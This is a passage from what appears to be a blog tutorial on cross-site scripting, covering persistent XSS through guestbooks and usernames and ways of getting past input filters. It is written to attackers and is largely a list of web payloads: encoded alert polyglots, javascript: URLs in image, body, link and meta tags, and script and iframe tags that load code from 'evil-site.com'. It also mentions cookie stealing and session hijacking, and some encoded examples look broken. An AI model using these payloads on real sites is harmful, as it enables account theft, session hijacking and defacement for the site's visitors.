works on a victim site and tries to hack users informations and the difference is that in websites
vulnerables to Persistent XSS the attacker doesn't need to
provide the crafted url to the users, because the website itself permits to users to insert fixed data into
the system: this is the case for example of "guestbooks". Usually the users uses
that kind of tool to leave messages to the owned
of the website and at a first look it doesn't seems something dangerous, but if an
attacker discover that the system is vulnerable can insert some malicious code in his
message and let ALL visitors to be victim of that.
This works when the tool provided (the guestbook in the example) doesn't do any
check on the content of the inserted message: it just inserts the data provided from
the user into the result page.
Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent
attacks are injected permanently into the code of the site, so anyone who views the site will be able
to
see permanently. In order for these to work, the code has to be made to store itself on the sites server
somehow, which can be hard to find.
An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users
(fixed now, obviously) affecting the page all.php. The register process wasn't sanitized at all, so all a
user had to do was simply register with a username containing HTML or JavaScript code. This was
an obvious vulnerability which should have been spotted from the beginning, but just like XSS on
other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and
anywhere where the username was displayed on the site. A good place to look out for this
vulnerability is basic forum scripts that site owners have made themselves or found off sites
designed
to help novices.
With both of these attacks, it is also possible to run malicious code from another site again making
the possibilities of attack endless. Javascript has a lot of features the are not well know, such as
changing the images on sites from images[number].src and anyone who uses myspace will know the
CSS can be used to remove or replace certain sections of a site based on name. If you have a
permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off
another site.
<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>
Getting Past Basic Protection ?
So what if a site owner knows about XSS, but has provided some but very little protection against it?Well, this is where CharCode comes in. Char code is basically just a simple form of character
encoding that can encode blocked characters so they get past the protection but still get displayed
normally on the page. Here is a very common one that will pop up alerts saying "XSS" if it is
vulnerable.
';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>
This is a very useful XSS to know, as it provides more than one type of attack at once. If you getonly
one or two alerts, you know that only one of two of them work, so you need to try to eliminate some
of them to text which one is affecting the site. The CharCode for "X" is 88 and "S" is 83. As you can
see, each provides a slight variation to try to beat character blocking.
XSS could also be hidden in a none existent image. This code below would run malicious JavaScript
disguised as an image.
<img src="javascript:alert('XSS');">
What if quotes are blocked? No problem, just inject the site like so:<img src=javascript:alert("XSS")>
likely to work if you find a site is vulnerable.
<img src=javascript:alert(String.fromCharCode(88,83,83))>
The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic
code that was invented to allow all characters to be available to everyone e.g. for different languages
such as chinese character symbols. And ASCII has a similar purpose. You can go to
Click Me to view the HTML code needed for ASCII code. This below shows the
whole code in ASCII form.
<img src=javasc ript:ale rt('XSS')>
As you can tell, this will beat many filters as the code is basically unrecognisable. However,translating the code can display what it was designed to do. Next for Unicode, again this makes the
text unrecognisable but works the same.
<img src=java scrip t:ale rt('X SS')>
If the site has a limited amount of characters allowed, this probably won't be useful. As mentionedpreviously, hex can also be used for XSS. The example below shows this.
<IMG SRC=javascri pt:alert(' XSS')>
Again unrecognisable which makes it a great XSS to use.The list of possible XSS attacks is endless and is far more than is covered here. With so many
ways to bypass security checks site owners have to work harder to try to protect their sites. As
well as web forms being used on most sites these days allowing users to enter code which will be
stored somewhere and inevitably viewed by someone else XSS can be used for almost anything.
With practise XSS can be used to run a hidden cookie stealer which a user will view and allow
you to steal their login info or if sessions are used perform "session hijacking" where you steal
their session data and again log in as them. To the simple defacement of a website through HTML
or Javascript. XSS is definitely an attack method which should be studied well as it provides such
a common method of attack.
As mentioned above, the list of possible XSS attacks is endless, there isn't enough room to
mention them here, but I will finish with some more XSS examples that may effect a vulnerable
site.
<IMG SRC="jav
ascript:alert('XSS');"> - new line vulnerability
<iframe src=http://evil-site.com/evil.html < - XSS using an iframe to display a whole new page
<SCRIPT>x=/XSS/ alert(x.source)</SCRIPT> - again beat checks using Javascript
<BODY BACKGROUND="javascript:alert('XSS')"> - infected body tag
<BGSOUND SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - stylesheet vulnerability
<IMG SRC='vbscript:msgbox("XSS")'> - vbscript, scripting language similar to javascript, again can help beat validation checks
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - incorrectly parsed meta refresh
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
base64 encoding, another form of encryption, this one is less likely to work
.
<SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT> - very sneaky method, here you
rename
your .js to .jpg, but since you have the script tags it will still be read as a js file.
The list goes on and on, the best way is to just try them yourself. A lot of the time incorrectly
written HTML code will be the best method. If one way doesn't work, try adding an extra ">" or
"<" to the start or end of the code for example or view the source of the page for code tags you
need to close. Adding a "'>" to the end then starting your own malicious code. Well, that's the end
of this tutorial. For more XSS attack example just use google as more of these are being though
up every day. Soon you should even be able to invent your own.
0 comments:
Post a Comment